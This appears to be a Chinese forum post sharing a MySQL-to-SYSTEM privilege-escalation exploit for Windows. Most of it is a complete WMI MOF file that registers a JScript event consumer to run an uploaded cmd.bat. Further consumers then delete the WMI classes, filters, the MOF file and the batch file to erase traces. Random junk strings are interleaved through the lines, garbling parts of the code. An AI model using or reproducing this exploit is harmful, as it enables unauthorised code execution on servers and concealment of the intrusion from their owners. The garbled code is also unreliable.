Mysql 提权即时无错Mof exp

admin

这个sql提权MOF需要运行 system下的文件，不能定义路径。
需要将要运行的命令写入到bat上传到system32目录，然后执行。
9 R0 w$ R. M* A( |9 {5 X
这个sql提权MOF需要运行 system下的文件，不能定义路径。
. U5 d- L2 P" Q需要将要运行的命令写入到bat上传到system32目录，然后执行。
9 U$ K& X8 W. T& F
8 ^" N7 Z- y8 Y4 m#pragma
                        namespace("\\\\.\\root\\cimv2")
' u9 `! }  }/ m; `' H/ U                        class
) i$ `& ]  P, P0 Y# I1 j                        MyClass547
                        {           [key]
                        string
; d' u% Z! L/ S3 M& {  }9 I2 U                        Name;
( u  R( f" a5 f+ d) ~9 |' `                        };
& q$ r0 U: P( W3 M, i                        class
! X* {) _5 a& u. G( _                        ActiveScriptEventConsumer
                        : __EventConsumer {          [key]
0 o: P9 f9 s' ], B                        string
                        Name;           [not_null]
                        string
1 ?6 }% |( _; I+ M) ^# Y1 {                        ScriptingEngine;           string
                        ScriptFileName;           [template]
                        string
3 p& T; C/ e1 o* z- ?: {+ Y                        ScriptText;         uint32 KillTimeout;
2 k3 m3 |0 U# b9 G3 W                        }; instance of __Win32Provider as $P {
                        Name
0 u4 B6 n+ Z/ x0 y                        =
                        "ActiveScriptEventConsumer";     CLSID =
                        "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
                        PerUserInitialization
" \: }9 r5 j0 S# \                        = TRUE;
, U/ C% K0 Z1 B3 B  h, f1 D                        }; instance of __EventConsumerProviderRegistration {         Provider
                        = $P;         ConsumerClassNames
                        =
                        {"ActiveScriptEventConsumer"};
- R$ i+ X7 t+ c' a                        };
                        Instance of ActiveScriptEventConsumer
/ u( G4 I( A4 X4 m                        as $cons {         Name
                        =
& D" i+ P/ F( M9 c3 K                        "ASEC";         ScriptingEngine
& N2 N6 s' T/ S: h( t7 R" j3 j                        =
                        "JScript";         ScriptText
. l) I, F, ^* e$ y4 W1 T& Z/ y                        =
                        "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";          };
3 @4 t& W5 k3 e; _6 z                        Instance of ActiveScriptEventConsumer
                        as $cons2 {         Name
                        =
! u1 }" T1 m8 F  k2 L$ O! p7 a- Q* |9 J                        "qndASEC";         ScriptingEngine
0 j0 P6 ]! c8 ]# D6 v                        =
& {- [: f8 }; m/ ~$ B                        "JScript";         ScriptText
5 C8 [7 q; i, m+ {( X9 j2 ^8 ]                        =
/ h8 S1 `% |: z+ ]5 m% E- f                        "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
+ w9 D9 c3 q/ W6 J- C4 b" s                        }; instance of __EventFilter as $Filt {         Name
7 z4 C0 s8 n) F8 \) b                        =
& c/ B( v- i8 L                        "instfilt";         Query
                        =
( e. m7 Z: l7 L$ f4 {3 E1 @+ ^                        "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\"";         QueryLanguage
                        =
                        "WQL";         }; instance of __EventFilter as $Filt2 {         Name
9 @( q4 i" y) L# i, M$ k, ?5 Z                        =
                        "qndfilt";         Query
3 z- w. f6 K! D9 ^2 L9 Q7 h3 }2 u                        =
                        "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\"";         QueryLanguage
                        =
' w& x  j  C. O8 [# m6 D7 L                        "WQL";          }; instance of __FilterToConsumerBinding as $bind {         Consumer
                        = $cons;         Filter
                        = $Filt;
- q! a, D! z! s9 K# c                        }; instance of __FilterToConsumerBinding as $bind2 {         Consumer
% t. f( ?3 y) E# _7 h                        = $cons2;         Filter
                        = $Filt2;
                        }; instance of MyClass547
" o  ?" ~- X- ]0 N! ?1 |                        as $MyClass {         Name
                        =
                        "ClassConsumer";
                        };